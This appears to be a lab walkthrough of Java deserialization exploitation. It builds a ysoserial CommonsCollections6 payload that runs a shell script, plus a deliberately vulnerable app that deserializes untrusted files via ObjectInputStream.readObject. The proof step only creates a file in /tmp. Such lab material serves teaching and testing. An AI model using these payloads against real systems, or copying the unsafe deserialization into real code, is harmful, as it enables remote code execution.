Java Deserializer (example 1)
Setup
get externals
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
machine configuration - select java 11
create payload
echo "touch /tmp/pwned-by-java.txt" > exploit.sh
java -jar ysoserial-all.jar CommonsCollections6 "/tmp/exploit.sh" > payload.ser
cp ./exploit.sh /tmp
cp ./payload.ser /tmp/
chmod +x /tmp/exploit.sh
chmod +x /tmp/payload.ser
Create example app
DeSerializingObject.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeSerializingObject {
public static void main(String[] args) {
Employee employeeInput = null;
FileInputStream fis = null;
ObjectInputStream ois = null;
try {
fis = new FileInputStream(args[1]);
ois = new ObjectInputStream(fis);
employeeInput = (Employee)ois.readObject();
System.out.println("Serialized data is restored from Employee.ser file");
ois.close();
fis.close();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
System.out.println("Name of employee is : " + employeeInput.getSerializeValueName());
System.out.println("Salary of employee is : " + employeeInput.getNonSerializeValueSalary());
}
}
Employee.java
import java.io.Serializable;
public class Employee implements Serializable {
private static final long serialVersionUID = 1L;
private String serializeValueName;
private transient int nonSerializeValueSalary;
public String getSerializeValueName() {
return serializeValueName;
}
public void setSerializeValueName(String serializeValueName) {
this.serializeValueName = serializeValueName;
}
public int getNonSerializeValueSalary() {
return nonSerializeValueSalary;
}
public void setNonSerializeValueSalary(int nonSerializeValueSalary) {
this.nonSerializeValueSalary = nonSerializeValueSalary;
}
@Override
public String toString() {
return "Employee [serializeValueName=" + serializeValueName + "]";
}
}
Compilation
Exploitation
you should be able to find pwned-by-java.txt file in /tmp directory as proof